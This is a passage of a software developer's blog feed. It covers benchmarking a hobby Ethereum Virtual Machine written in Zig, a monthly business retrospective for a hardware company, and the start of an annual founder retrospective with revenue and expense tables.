&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">diff --git a/src/main.zig b/src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">index a46f8fa..9e462fe 100644
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">&lt;/span>&lt;span style="color:#d22323">--- a/src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+++ b/src/main.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>&lt;span style="color:#fff;text-decoration:underline">@@ -3,9 +3,9 @@ const stack = @import(&amp;#34;stack.zig&amp;#34;);
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">&lt;/span> const vm = @import(&amp;#34;vm.zig&amp;#34;);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pub fn main() !void {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- var gpa = std.heap.GeneralPurposeAllocator(.{}){};
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- const allocator = gpa.allocator();
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- defer _ = gpa.deinit();
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+ var buffer: [2000]u8 = undefined;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ var fba = std.heap.FixedBufferAllocator.init(&amp;amp;buffer);
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ const allocator = fba.allocator();
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> const in = std.io.getStdIn();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> var buf = std.io.bufferedReader(in.reader());
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I call this a &amp;ldquo;cheat&amp;rdquo; as I&amp;rsquo;m optimizing for my specific benchmarks. There are certainly valid Ethereum programs that require more than 2 KB of memory, but I&amp;rsquo;m just curious how fast I can go with this optimization.&lt;/p>
&lt;p>Let&amp;rsquo;s see what performance looks like if I know my max memory requirement at compile time:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./zig-out/bin/eth-zvm &amp;lt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">COUNT_TO_1000_INPUT_BYTECODE_FILE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 34.4578µs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool! With a fixed memory buffer, my Ethereum implementation runs my &amp;ldquo;count to 1,000&amp;rdquo; bytecode in 34 microseconds, nearly 3x faster than the official Go implementation.&lt;/p>
&lt;figure>
 &lt;div class="chart-container">
 &lt;canvas id="count-to-1000-by-1-v3">&lt;/canvas>
 &lt;/div>
 &lt;figcaption>&lt;p>If I know the maximum memory requirements of my Ethereum interpreter at compile time, I can outperform the official implementation by 3x.&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>My takeaway from this experience is to benchmark performance early and often.&lt;/p>
&lt;p>By adding a benchmarking script to my continuous integration and archiving the results, it was easy for me to identify when my measurements changed. Had I relegated benchmarking to a manual, periodic task, it would have been difficult for me to identify exactly what caused the difference in my measurements.&lt;/p>
&lt;p>This experience also underscores the importance of understanding your metrics. Before hitting this bug, I hadn&amp;rsquo;t considered that my benchmark included the time waiting for other processes to fill stdin.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/eth-zvm">eth-zvm&lt;/a>: My hobby Ethereum Virtual Machine, implemented in Zig&lt;/li>
&lt;/ul>
&lt;script src="third-party/chart.umd.js">&lt;/script>
&lt;script src="script.js">&lt;/script></content:encoded></item><item><title>TinyPilot: Month 43</title><link>https://mtlynch.io/retrospectives/2024/02/</link><pubDate>Tue, 20 Feb 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/02/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-annual-retrospective">Publish annual retrospective&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">&amp;ldquo;My Sixth Year as a Bootstrapped Founder&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I published this a few weeks late, but I was happy with how it came out.&lt;/p>
&lt;p>The post &lt;a href="https://news.ycombinator.com/item?id=39398009">reached the #1 spot on Hacker News&lt;/a>, which was fun but also highlights how talking about money is a double-edged sword. Readers are much more interested and excited when you share numbers, but the majority of the comments focused exclusively on the numbers.&lt;/p>
&lt;h3 id="reach-out-to-five-bloggers-about-tinypilot-collaborations">Reach out to five bloggers about TinyPilot collaborations&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached out to two bloggers&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I ended up spending more time than I expected documenting TinyPilot&amp;rsquo;s release process, so I had less available bandwidth for reaching out to bloggers. I did reach out to two, but I didn&amp;rsquo;t hear back from either of them.&lt;/p>
&lt;h3 id="get-records-ready-for-2023-taxes">Get records ready for 2023 taxes&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Got all my tax documents ready&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Taxes are always boring, but everything is on schedule this year.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2023&lt;/th>
 &lt;th>January 2024&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>6,700&lt;/td>
 &lt;td>7,800&lt;/td>
 &lt;td>&lt;font color="green">+1,100 (+16%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$75,198.00&lt;/td>
 &lt;td>$100,008.98&lt;/td>
 &lt;td>&lt;font color="green">+$24,810.98 (+33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$1,792.51&lt;/td>
 &lt;td>$3,313.11&lt;/td>
 &lt;td>&lt;font color="green">+$1,520.60 (+85%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$77,281.21&lt;/td>
 &lt;td>$103,612.79&lt;/td>
 &lt;td>&lt;font color="green">+$26,331.58 (+34%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$-59,117.41&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$79,764.14&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$138,881.55 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>TinyPilot had its second-highest revenue month in history. I don&amp;rsquo;t have an explanation except for just regular variation in our sales. Our typical month tends to fall in the $75-95k range, and I think we caught the high side of variance, and a few large orders pushed us over $100k.&lt;/p>
&lt;p>Profit was absurdly high, but it&amp;rsquo;s again due to how bursty TinyPilot&amp;rsquo;s expenses are for raw materials after we&amp;rsquo;ve switched to the contract manufacturer. I&amp;rsquo;m happy to see three-month trailing average is positive, albeit lower than usual.&lt;/p>
&lt;h2 id="i-accidentally-hoarded-tinypilots-release-process">I accidentally hoarded TinyPilot&amp;rsquo;s release process&lt;/h2>
&lt;p>When I sold the first few TinyPilot devices, I couldn&amp;rsquo;t duplicate microSDs correctly on my development machine. Instead, I provisioned each customer&amp;rsquo;s microSD one by one by flashing Linux onto a microSD, then running the TinyPilot install script manually on each device.&lt;/p>
&lt;p>Since then, I&amp;rsquo;ve learned a lot more about the process of releasing software for a hardware device. Our release process has become more mature with more extensive testing, better reproducibility, and additional automation.&lt;/p>
&lt;p>I documented our release process in TinyPilot&amp;rsquo;s shared Notion workspace, and I&amp;rsquo;ve delegated most of the process to teammates so that new TinyPilot releases aren&amp;rsquo;t blocked on me.&lt;/p>
&lt;p>Or, at least, I &lt;em>thought&lt;/em> I had documented most of the release process.&lt;/p>
&lt;p>For the latest release, I challenged myself to refrain from performing any of the release steps directly. Instead, I asked teammates to perform the release process based on my documentation.&lt;/p>
&lt;p>Before I could even ask a teammate to perform the first task, I realized how much of the process I&amp;rsquo;d been keeping silo&amp;rsquo;ed in my head. All of the steps in the release were documented, but there was nothing explaining how everything fit together.&lt;/p>
&lt;p>I also realized that some tasks in the process, like &amp;ldquo;update &lt;a href="https://tinypilotkvm.com/pro/changes">the changelog&lt;/a>&amp;rdquo; or &amp;ldquo;write the release announcement,&amp;rdquo; were significantly more complicated than those short phrases implied. What features do we highlight in our announcements? What are the unwritten rules about how we explain features without getting bogged down in the boring details?&lt;/p>
&lt;p>The benefit of documenting my process is that it forces me to think deliberately about all of my decisions. There were a lot of cases where I looked through past releases and tried to extrapolate patterns, only to realize that my decisions had been inconsistent. In other cases, I&amp;rsquo;d done something consistently, but when I had to explain why, I realized there was a better strategy.&lt;/p>
&lt;p>Delegating the entire release has been slower than when I did it myself, but it&amp;rsquo;s been a valuable exercise. It makes our release process less dependent on me, gives us a chance to improve our process, and makes it easier to parallelize subparts of it in the future.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="implementing-a-bytecode-interpreter-in-zig">Implementing a bytecode interpreter in Zig&lt;/h3>
&lt;p>I&amp;rsquo;ve been &lt;a href="https://mtlynch.io/tags/zig/">exploring Zig&lt;/a> for the past few months, and one of the biggest obstacles to learning more is finding projects that are a good match for Zig.&lt;/p>
&lt;p>Most of my ideas for projects are web apps, which usually leads me to Go, as it was designed for building web apps, whereas Zig was designed to be a more general-purpose replacement for C.&lt;/p>
&lt;p>Over the past few months, I&amp;rsquo;ve been occasionally reading &lt;a href="https://craftinginterpreters.com/">&lt;em>Crafting Interpreters&lt;/em> by Bob Nystrom&lt;/a> and &lt;a href="https://github.com/ethereumbook/ethereumbook">&lt;em>Mastering Ethereum&lt;/em> by Andreas M. Antonopoulos and Gavin Wood&lt;/a>. &lt;em>Crafting Interpreters&lt;/em> demonstrates &lt;a href="https://craftinginterpreters.com/chunks-of-bytecode.html">how to implement a bytecode interpreter&lt;/a> in C, and &lt;em>Mastering Ethereum&lt;/em> describes how the core of Ethereum is a bytecode interpreter called the Ethereum Virtual Machine (EVM).&lt;/p>
&lt;p>I realized I could combine a few different interests by writing an implementation of the Ethereum Virtual Machine in Zig. I started a project called &lt;a href="https://github.com/mtlynch/eth-zvm">eth-zvm&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;ve only implemented about 2% of Ethereum, but my interpreter can already run real Ethereum programs and return the result.&lt;/p>
&lt;p>Here is what it looks like when my interpreter runs a simple program compiled to Ethereum bytecode:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;600160005260206000f3&amp;#39;&lt;/span> | xxd -r -p | zig-out/bin/eth-zvm -v
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x01
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: push 0x1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: push 0x0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>MSTORE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: pop 0x0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: pop 0x1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Memory: Writing &lt;span style="color:#40ffff">value&lt;/span>=0x1 to memory &lt;span style="color:#40ffff">offset&lt;/span>=&lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Memory: 0x00000000000000000000000000000001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x20
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: push 0x20
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: push 0x0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RETURN
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: pop 0x0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: pop 0x20
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Memory: reading &lt;span style="color:#40ffff">size&lt;/span>=&lt;span style="color:#3677a9">32&lt;/span> bytes from &lt;span style="color:#40ffff">offset&lt;/span>=&lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Return value: 0x0000000000000000000000000000000000000000000000000000000000000001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EVM gas used: &lt;span style="color:#3677a9">18&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>execution time: 792.395µs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>0x0000000000000000000000000000000000000000000000000000000000000001
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can compare my interpreter&amp;rsquo;s results to the JavaScript implementation on the &lt;a href="https://www.evm.codes/playground">evm.codes playground&lt;/a>.&lt;/p>
&lt;p>I thought I would easily crush other interpreters in terms of performance because Zig itself is so performance-optimized, but it turns out that the official Go implementation of Ethereum is pretty fast:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/02/eth-zvm-benchmarks.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/02/eth-zvm-benchmarks_hu_9abb5a895828807e.png 300w, https://mtlynch.io/retrospectives/2024/02/eth-zvm-benchmarks_hu_915375080b6cfc3.png 600w, https://mtlynch.io/retrospectives/2024/02/eth-zvm-benchmarks_hu_8ef3cf2cb720f78e.png 800w, https://mtlynch.io/retrospectives/2024/02/eth-zvm-benchmarks.png 859w'
 src="https://mtlynch.io/retrospectives/2024/02/eth-zvm-benchmarks.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Benchmarks comparing my Ethereum virtual machine implementation to the official Go-based version (lower is better)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My interpreter is still leaving a lot of performance optimizations on the table, so I bet I can beat the other implementations if I spend some time cutting out memory allocations.&lt;/p>
&lt;p>I don&amp;rsquo;t know how far I&amp;rsquo;ll take the project, but it&amp;rsquo;s serving as a practical way to build my knowledge of Zig, Ethereum, and interpreters. It&amp;rsquo;s also a fun type of programming I haven&amp;rsquo;t done in a long time because I have to be deliberate about every single byte I read or allocate from the OS.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">&amp;ldquo;My Sixth Year as a Bootstrapped Founder&amp;rdquo;&lt;/a>, which reached &lt;a href="https://news.ycombinator.com/item?id=39398009">the #1 spot on Hacker News&lt;/a> for the day.&lt;/li>
&lt;li>Began documenting TinyPilot&amp;rsquo;s release process.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>A process isn&amp;rsquo;t really documented until someone has actually used the documentation to follow the process.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish TinyPilot Pro 2.6.3.&lt;/li>
&lt;li>Document TinyPilot Pro&amp;rsquo;s release process internally.&lt;/li>
&lt;li>File 2023 taxes.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Sixth Year as a Bootstrapped Founder</title><link>https://mtlynch.io/bootstrapped-founder-year-6/</link><pubDate>Fri, 16 Feb 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-6/</guid><description>&lt;!-- Disable linter complaints about duplicate headers -->
&lt;!-- markdownlint-disable MD024 -->
&lt;p>Six years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company.&lt;/p>
&lt;p>For the first few years, all of my businesses flopped. The best of them earned a few hundred dollars per month in revenue, but none were profitable.&lt;/p>
&lt;p>Halfway through my third year, I created a device called &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>. It allows users to control their computers remotely. The product quickly caught on, and it&amp;rsquo;s been my main focus ever since.&lt;/p></description><content:encoded>&lt;!-- Disable linter complaints about duplicate headers -->
&lt;!-- markdownlint-disable MD024 -->
&lt;p>Six years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company.&lt;/p>
&lt;p>For the first few years, all of my businesses flopped. The best of them earned a few hundred dollars per month in revenue, but none were profitable.&lt;/p>
&lt;p>Halfway through my third year, I created a device called &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>. It allows users to control their computers remotely. The product quickly caught on, and it&amp;rsquo;s been my main focus ever since.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/2a-front.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/2a-front_hu_732d7aa528cdc91d.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/2a-front_hu_d57855d309ef8752.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/2a-front_hu_31a145cb1185971c.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/2a-front.webp 800w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/2a-front.webp" alt="Front view of TinyPilot Voyager 2a device" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2_hu_7a41323cee1aca3a.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2_hu_34f7e85bde1a8f99.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2_hu_e467209ced428e77.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2_hu_90ee1b8a8223242f.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2.webp 1515w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/tinypilot-bios-menu-2.webp" alt="Screenshot of TinyPilot web interface" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>TinyPilot is a small device that allows users to control their computers remotely.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>In 2023, TinyPilot generated $997k in revenue, which I&amp;rsquo;ll generously round up to a cool million. More importantly, the business earned $236k in profit, a 20x increase from 2022.&lt;/p>
&lt;p>In this post, I&amp;rsquo;ll share what I&amp;rsquo;ve learned about being a bootstrapped founder from my sixth year doing it.&lt;/p>
&lt;h2 id="previous-updates">Previous updates&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="tinypilot-became-20x-more-profitable">TinyPilot became 20x more profitable&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>2022&lt;/th>
 &lt;th>2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$807,458&lt;/td>
 &lt;td>$992,597&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Credit Card Rewards&lt;/td>
 &lt;td>$4,327&lt;/td>
 &lt;td>$4,379&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Income&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$811,785&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$996,976&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Advertising&lt;/td>
 &lt;td>-$51,764&lt;/td>
 &lt;td>-$39,270&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cloud Services&lt;/td>
 &lt;td>-$9,151&lt;/td>
 &lt;td>-$16,408&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Design Consulting&lt;/td>
 &lt;td>-$30,215&lt;/td>
 &lt;td>-$950&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Electrical Engineering Consulting&lt;/td>
 &lt;td>-$124,643&lt;/td>
 &lt;td>-$23,427&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fulfillment Vendors&lt;/td>
 &lt;td>-$0&lt;/td>
 &lt;td>-$28,321&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office Rent&lt;/td>
 &lt;td>-$6,600&lt;/td>
 &lt;td>-$6,310&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Payroll&lt;/td>
 &lt;td>-$205,984&lt;/td>
 &lt;td>-$255,779&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Postage&lt;/td>
 &lt;td>-$28,324&lt;/td>
 &lt;td>-$16,853&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Raw Materials&lt;/td>
 &lt;td>-$324,140&lt;/td>
 &lt;td>-$358,457&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Everything Else&lt;/td>
 &lt;td>-$25,398&lt;/td>
 &lt;td>-$31,404&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Expenses&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$806,219&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$777,179&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$10,447&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$235,568&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>After two years of basically breaking even, TinyPilot finally earned a meaningful profit.&lt;/p>
&lt;p>Most of the change is due to stronger sales. We switched to metal cases this year, which both increased the price customers were willing to pay and increased our manufacturing capacity.&lt;/p>
&lt;p>Expenses shifted around but stayed roughly the same overall. Design costs shrunk to nearly zero, as I &lt;a href="https://mtlynch.io/tinypilot-redesign/">stopped paying a design agency $6k/mo to tweak my logo&lt;/a>. I focused on scaling my existing product rather than iterating on the hardware design, which reduced my electrical engineering costs by $100k.&lt;/p>
